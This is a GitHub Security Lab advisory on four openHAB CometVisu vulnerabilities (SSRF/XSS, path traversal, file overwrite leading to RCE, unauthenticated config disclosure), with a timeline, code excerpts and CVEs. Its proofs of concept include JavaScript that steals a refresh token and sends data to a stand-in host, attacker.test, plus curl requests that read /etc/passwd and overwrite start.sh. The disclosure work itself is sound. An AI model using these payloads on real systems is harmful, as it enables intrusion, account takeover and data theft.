Coordinated Disclosure Timeline
- 2024-02-07: Sent email to security@openhab.org
- 2024-03-03: OpenHAB team did not receive email, re-sent report.
- 2024-03-25: Vulnerabilities were acknowledged and draft advisories opened.
- 2024-07-19: Issues were fixed.
- 2024-08-09: Security advisories were published by OpenHAB (issues were fixed with version 4.2.1).
Summary
Several vulnerabilities were found in OpenHAB’s CometVisu addon, which is part of OpenHAB’s Web UI project:
- Issue 1: SSRF/XSS (CometVisu) (
GHSL-2024-005
) - Issue 2: Path traversal (CometVisu) (
GHSL-2024-006
) - Issue 3: RCE through path traversal (CometVisu) (
GHSL-2024-007
) - Issue 4: Sensitive information disclosure (CometVisu) (
GHSL-2024-008
)
The SSRF/XSS vulnerability described in GHSL-2024-005
could be used by attackers to attack instances that are not directly connected to the Internet.
Project
openhab-webui
Tested Version
Details
Issue 1: SSRF/XSS (CometVisu) (GHSL-2024-005
)
The proxy endpoint of OpenHAB Web UI’s CometVisu addon can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case the OpenHAB Web UI is exposed in a non-private network.
Furthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the OpenHAB Web UI, this JavaScript code will be executed with the origin of the Web UI application. This allows an attacker to exploit call endpoints on an OpenHAB server even if the OpenHAB server is located in a private network. (e.g. by sending an OpenHAB admin a link that proxies malicious JavaScript.)
This vulnerability was discovered with the help of CodeQL’s Server-side request forgery query.
Proof of Concept
These are two proof of concepts of how an attacker can access a OpenHAB instance even though the OpenHAB instance is not accessible from the outside:
Proof of concept 1: steal information from an unauthenticated OpenHAB endpoint
-
An attacker creates an information stealer HTML site on a location like:
https://attacker.test/infosteal.html
with following content:<html lang="en"> [..] <body> <script> // read the content of a local unprotected OpenHAB endpoint via fetch fetch("/rest/cv/config/hidden") .then(response => response.text()) .then(data => { // send the content to the attacker's server fetch("https://attacker.test/collect?data=" + data); }); </script> </body> </html>
-
The attacker lures the OpenHAB admin or someone on the same network as the OpenHAB instance into following this link (e.g. via Phishing mail or automatic redirect from another page):
http://openhab.local:8080/rest/cv/proxy?url=https://attacker.test/infosteal.html
-
The OpenHAB instance proxies the specified URL of the attacker. As an effect the retrieved HTML page is displayed under the same origin as the OpenHAB instance, which allows the malicious JavaScript to access endpoints on the OpenHAB instance. In this sample it accesses the content of the hidden CometVisu config file and sends it to the attacker.
Proof of concept 2: exchange the refresh token for an access token and act as admin
-
An attacker creates an HTML on a location like:
https://attacker.test/act-as-admin.html
with following content:<html lang="en"> [..] <body> <script> let refreshToken = localStorage.getItem("openhab.ui:refreshToken"); console.log("Refresh Token from local storage " + refereshToken); //use refresh token to get access token via POST request fetch("/rest/auth/token", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "grant_type=refresh_token&client_id=http%3A%2F%2Fopenhab.local%3A8080&redirect_uri=http%3A%2F%2Fopenhab.local%3A8080&refresh_token=" + refreshToken }) .then(response => response.json()) .then(data => { console.log("Access token received in exchange for refresh token: " + data.access_token); //use access token to access an endpoint that can only be accessed by an admin fetch("/rest/addons/services", { method: "GET", headers: { "Authorization": "Bearer " + data.access_token } }) .then(response => response.json()) .then(data => { //send content of services to attackers server fetch("https://attacker.test/collect?data=" + JSON.stringify(data)); }); }); </script> </body> </html>
-
The attacker lures the OpenHAB admin into following this link (e.g. via Phishing mail or automatic redirect from another page):
http://openhab.local:8080/rest/cv/proxy?url=https://attacker.test/act-as-admin.html
-
Again: The OpenHAB instance proxies the specified URL of the attacker. As an effect the retrieved HTML page is displayed under the same origin as the OpenHAB instance, which allows the malicious JavaScript to access endpoints on the OpenHAB instance. In this example however, the malicious JavaScript accesses the refresh token from the Browser’s local storage and exchanges it for an access token. With the access token of an admin the malicious script can wreak havoc.
Impact
This issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007
).
Issue 2: Path traversal (CometVisu) (GHSL-2024-006
)
OpenHAB’s CometVisuServlet
is susceptible to an unauthenticated path traversal vulnerability.
A file requested via HTTP get on the CometVisuServlet
flows into the getRequestedFile
method:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
File requestedFile = getRequestedFile(req);
In the getRequestedFile
method it is URL decoded:
if (file == null || !file.exists() || file.isDirectory()) {
file = requestedFile != null
? new File(rootFolder, URLDecoder.decode(requestedFile, StandardCharsets.UTF_8))
: rootFolder;
}
and then served thanks to the processStaticRequest
method:
try {
// Open streams.
input = new RandomAccessFile(processFile, "r");
output = response.getOutputStream();
[..]
copy(input, output, full.start, full.length);
In this case it’s the internal URL decoding combined with a missing check for accessible paths that allows the exploitation of this vulnerability.
This vulnerability was discovered with the help of CodeQL’s Uncontrolled data used in path expression query.
Proof of concept
-
In case the
userdata/cometvisu
folder inside the OpenHAB installation folder doesn’t exist yet, an attacker accesses the/rest/cv/config/download-client
endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such asGHSL-2024-005
). This downloading of the client creates the folder structure required for this exploit to succeed.curl "http://openhab.local:8080/rest/cv/config/download-client"
-
Afterwards the attacker exploits the path traversal vulnerability by URL double encoding the path
../../../../../../../../etc/passwd
:curl "http://openhab.local:8080/cometvisu/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd"
-
The request returns with the contents of
/etc/passwd
.
Impact
This issue may lead to Information Disclosure.
Issue 3: RCE through path traversal (CometVisu) (GHSL-2024-007
)
CometVisu’s file system endpoints don’t require authentication and additionally the endpoint to update an existing file is susceptible to path traversal. This makes it possible for an attacker to overwrite existing files on the OpenHAB instance. If the overwritten file is a shell script that is executed at a later time this vulnerability can allow remote code execution by an attacker.
The path for the target
file gets created by appending the user controlled path
to an existing path in the update
method of class FsResource
:
@PUT
@Produces(MediaType.APPLICATION_JSON)
@Consumes({ MediaType.TEXT_PLAIN, MediaType.TEXT_XML })
@Operation(summary = "Update an existing file", responses = {
@ApiResponse(responseCode = "200", description = "OK"),
@ApiResponse(responseCode = "403", description = "not allowed"),
@ApiResponse(responseCode = "404", description = "File does not exist") })
public Response update(
@Parameter(description = "Relative path inside the config folder", required = true) @QueryParam("path") String path,
@Parameter(description = "file content") String body,
@Parameter(description = "CRC32 hash value of the file content", content = @Content(schema = @Schema(implementation = String.class, defaultValue = "ignore"))) @DefaultValue("ignore") @QueryParam("hash") String hash) {
File target = new File(
ManagerSettings.getInstance().getConfigFolder().getAbsolutePath() + File.separator + path);
if (target.exists()) {
if (target.canWrite()) {
try {
FsUtil.getInstance().saveFile(target, body, hash);
This vulnerability was discovered with the help of CodeQL’s Uncontrolled data used in path expression query.
Proof of concept
-
An attacker makes a PUT request to the
/rest/cv/fs
endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such asGHSL-2024-005
):curl -X PUT -H "Content-Type: text/plain" "http://openhab.local:8080/rest/cv/fs?path=../../../../start.sh&hash=2084fec4" -d "echo PWNED"
-
In this case the attacker overwrites the
start.sh
script from OpenHAB itself with the contentecho PWNED
. When at a later point this script is executed again (either manually or automatically) the attacker has executed code on the server.
Impact
This issue may lead up to Remote Code Execution (RCE).
Issue 4: Sensitive information disclosure (CometVisu) (GHSL-2024-008
)
Several endpoints in the CometVisu addon of OpenHAB don’t require authentication. This makes it possible for unauthenticated attackers to modify or to steal sensitive data.
E.g. create a new config option via ConfigResource
:
@Path("/hidden/{section}/{key}")
-createHiddenConfig
Or retrieve the hidden config:
@Path("/hidden")
-getHiddenConfig
Proof of concept
-
an attacker accesses the
/rest/cv/config/hidden
endpoint of OpenHAB (either direct or indirect via a Cross-Site-Scripting vulnerability such asGHSL-2024-005
)curl "http://openhab.local:8080/rest/cv/config/hidden"
-
OpenHAB responds with the contents of the hidden config (containing sample entries by default).
{"influx":{"pass":"secret","selfsigned":"true","uri":"https://172.17.0.1/proxy/ts/query","user":"docker"},"fritzbox":{"pass":"secret","uri":"https://192.168.0.1:49443/","user":"CometVisuTestUser"}}
Impact
This issue may lead to sensitive Information Disclosure.
CVE
- GHSL-2024-005 - CVE-2024-42467
- GHSL-2024-006 - CVE-2024-42468
- GHSL-2024-007 - CVE-2024-42469
- GHSL-2024-008 - CVE-2024-42470
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-005
, GHSL-2024-006
, GHSL-2024-007
, or GHSL-2024-008
in any communication regarding these issues.